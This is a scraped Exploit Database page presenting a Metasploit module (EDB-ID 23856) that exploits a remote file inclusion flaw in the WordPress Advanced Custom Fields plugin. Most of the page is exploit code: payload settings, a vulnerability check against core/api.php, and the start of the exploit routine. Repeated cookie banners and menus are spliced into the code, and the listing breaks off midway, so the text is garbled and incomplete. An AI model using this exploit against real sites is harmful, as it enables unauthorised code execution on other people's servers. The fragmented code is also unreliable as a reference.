

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS

# WordPress Plugin Advanced Custom Fields - Remote File Inclusion (Metasploit)

**EDB-ID:**

23856

**CVE:****EDB Verified:** ✓**Author:**[METASPLOIT](#)**Type:**[REMOTE](#)**Exploit:**   / **Cookiebot**  
by Usercentrics

## This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::PHPInclude

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'WordPress Plugin Advanced Custom Fields
Remote File Inclusion',
      'Description' => %q{
        This module exploits a remote file inclusion flaw in
the WordPress blogging
        software plugin known as Advanced Custom Fields. The
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

```
      'Payload' =>
        {
          'DisableNops' => true,
          'Compat' =>
            {
              'ConnectionType' => 'find',
            },
        },
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', { }]],
      'DisclosureDate' => 'Nov 14 2012',
      'DefaultTarget' => 0))

  register_options(
    [
      OptString.new('TARGETURI', [true, 'The full URI path to
WordPress', '/']),
      OptString.new('PLUGINS_PATH', [true, 'The relative path to
the plugins folder', 'wp-content/plugins/']),
    ], self.class)
  end

  def check
    uri = target_uri.path
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS

```

uri << '/' if uri[-1,1] != '/'
uri << datastore['PLUGINS_PATH']
uri << '/' if uri[-1,1] != '/'

res = send_request_cgi({
  'method' => 'POST',
  'uri'     => "#{uri}advanced-custom-fields/core/api.php"
})

if res and res.code == 200
  return Exploit::CheckCode::Detected
else
  return Exploit::CheckCode::Safe
end
end

def php_exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  uri << datastore['PLUGINS_PATH']
  uri << '/' if uri[-1,1] != '/'

  print_status('Sending request')
  res = send_request_cgi({
    'method' => 'POST',

```

Cookiebot  
by Usercentrics**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

Tags: [Metasploit Framework \(MSF\)](#) [WordPress Plugin](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

[OffSec Services Limited](#) 2026. All rights reserved.